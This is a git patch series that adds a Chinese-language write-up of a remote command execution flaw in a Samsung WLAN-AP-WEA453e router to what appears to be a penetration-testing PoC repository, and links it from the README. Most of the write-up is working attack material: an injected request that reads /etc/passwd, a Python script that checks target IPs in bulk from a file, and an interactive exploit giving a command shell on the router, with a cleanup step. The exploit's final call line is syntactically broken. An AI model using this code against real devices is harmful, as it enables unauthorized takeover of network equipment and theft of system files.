From dcc6e7cf9d7d1d841f15f16ecee22e2031ad1371 Mon Sep 17 00:00:00 2001 From: wr <86941613+wr0x00@users.noreply.github.com> Date: Sun, 21 Aug 2022 14:28:55 +0800 Subject: [PATCH 1/3] =?UTF-8?q?Create=20WLAN-AP-WEA453e=20RCE=E4=B8=89?= =?UTF-8?q?=E6=98=9F=E8=B7=AF=E7=94=B1=E5=99=A8=E8=BF=9C=E7=A8=8B=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...P-WEA453e RCE三星路由器远程命令执行漏洞.md | 153 ++++++++++++++++++ 1 file changed, 153 insertions(+) create mode 100644 WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md diff --git a/WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md b/WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md new file mode 100644 index 0000000..1b3497d --- /dev/null +++ b/WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞.md @@ -0,0 +1,153 @@ +### 漏洞简介 + +|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号| +--------|--------|---------|--------|-------|----|------| +|WLAN-AP-WEA453e RCE三星路由器远程命令执行漏洞|2020-8|未知|https://www.Samsung.com| |三星WLAN-AP-WEA453e路由器| + +路由器首页 +![image](https://user-images.githubusercontent.com/86941613/185778437-2e5218e7-68a0-4d60-8f53-2e91c0d576f4.png) + +### 漏洞原理 + +利用burp构造特殊的请求 + +```shell + POST /(download)/tmp/a.txt HTTP/1.1 + Host: xxx.xxx.xxx.xxx + command1=shell:cat /etc/passwd| dd of=/tmp/a.txt +``` +![image](https://user-images.githubusercontent.com/86941613/185778450-ef88e085-aa79-407d-a0ae-bedb50fb53dd.png) + +### POC批量检测代码如下 +```python +#filename: Check.py +#Usage: python3 Check.py ip.txt +import requests +import sys +import datetime + +def CheckVuln(host): + vurl = host+'/(download)/tmp/a.txt' + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36','Connection': 'close'} + data = {'command1':'shell:ls|dd of=/tmp/a.txt'} + try: + req = requests.post(url=vurl,data=data,verify=False,headers=headers,timeout=1) + + if req.status_code ==200 and 'root' in req.text: + T = ('[*]-'+host+'-----Vulnerable!') + print(T) + OutPut(T) + else: + T = ('[-]-'+host+'-----Not Vulnnerable') + print(T) + OutPut(T) + + except: + T = host+'[-]-----Network Error' + print(T) + OutPut(T) + +def OutPut(F): + time = datetime.datetime.now().strftime('%Y-%m-%d') + #print(time) + f = open(time+'.txt','a') + f.write(F + '\n') + f.close() + +def GetUrl(path): + with open(path,'r',encoding='utf-8') as f: + for i in f: + if i.strip() != '': + oldh = i.strip() + #print(oldh) + host = 'http://'+oldh + CheckVuln(host) + + else: + print(path+'Empty File') + +if len(sys.argv) != 2: + print('-------------Usage:python3 Check.py ip.txt----------------- ') + sys.exit() + +path = sys.argv[1] + +GetUrl(path) + +``` +### EXP +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import requests +import sys +import os +from urllib3.exceptions import InsecureRequestWarning + +class exp: + def Checking(self): + try: + Url = self.target + "(download)/tmp/hello.txt" + CkData = "command1=shell:cat /etc/passwd| dd of=/tmp/hello.txt" + response = requests.post(url = Url,data = CkData,verify = False,timeout = 20) + if(response.status_code == 200 and 'root:' in response.text): + return True + else: + return False + except Exception as e: + #print("checking") + print("[-] Server Error!") + + def Exploit(self): + Url = self.target + "(download)/tmp/hello.txt" + while True: + try: + command = input("# ") + if(command == 'exit'): + self.Clean() + sys.exit() + if(command == 'cls'): + os.system("cls") + continue + data = "command1=shell:" + command + "| dd of=/tmp/hello.txt" + response = requests.post(url = Url,data = data,verify = False,timeout = 20) + if(response.text == None): + print("[!] Server reply nothing") + else: + print(response.text) + except KeyboardInterrupt: + self.Clean() + exit() + except Exception as e: + print("[-] Server not suport this command") + + def Clean(self): + Url = self.target + "(download)/tmp/hello.txt" + try: + CleanData = "command1=shell:busybox rm -f /tmp/hello.txt" + response = requests.post(url = Url,data = CleanData,verify = False,timeout = 10) + + if(response.status_code == 200): + print("[+] Clean target successfully!") + sys.exit() + else: + print("[-] Clean Failed!") + except Exception as e: + print("[-] Server error!") + + def __init__(self,target,port): + self.target=target + requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) + + if(len(sys.argv) == 3): + module = sys.argv[2] + if(module == 'clean'): + self.Clean() + else: + print("[-] module error!") + + while self.Checking() is True: + self.Exploit() + +exp(192.168.10.1,80) +``` From 532b31c6198189c50ced6ef228528a8c22598ad9 Mon Sep 17 00:00:00 2001 From: wr <86941613+wr0x00@users.noreply.github.com> Date: Sun, 21 Aug 2022 14:32:49 +0800 Subject: [PATCH 2/3] Create README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 317b7ed..6abdbd6 100644 --- a/README.md +++ b/README.md @@ -57,6 +57,7 @@ - [IOT_vuln：IOT相关漏洞仓库](https://github.com/EPhaha/IOT_vuln) - [hikvision_CVE-2017-7921_auth_bypass_config_decryptor：解密受CVE-2017-7921影响的海康威视的配置文件](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) - [CVE-2022-20866：思科自适应安全设备软件和 Firepower 威胁防御软件 RSA 私钥泄漏检查](https://github.com/CiscoPSIRT/CVE-2022-20866) +- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](https://github.com/wr0x00/Penetration_Testing_POC/edit/master/README.md) ## Web APP @@ -2031,4 +2032,4 @@ ### 最后，选一个屁股吧！ -![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg) \ No newline at end of file +![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg) From 9f22f665e3ab68ef34fc29569a61cb6ad6c3e190 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9C=E6=96=B9=E6=9C=89=E9=B1=BC=E5=90=8D=E4=B8=BA?= =?UTF-8?q?=E5=92=B8?= Date: Sun, 21 Aug 2022 23:35:25 +0800 Subject: [PATCH 3/3] fix vul readme path --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6abdbd6..da0cf53 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,7 @@ - [IOT_vuln：IOT相关漏洞仓库](https://github.com/EPhaha/IOT_vuln) - [hikvision_CVE-2017-7921_auth_bypass_config_decryptor：解密受CVE-2017-7921影响的海康威视的配置文件](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) - [CVE-2022-20866：思科自适应安全设备软件和 Firepower 威胁防御软件 RSA 私钥泄漏检查](https://github.com/CiscoPSIRT/CVE-2022-20866) -- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](https://github.com/wr0x00/Penetration_Testing_POC/edit/master/README.md) +- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](./WLAN-AP-WEA453e%20RCE三星路由器远程命令执行漏洞.md) ## Web APP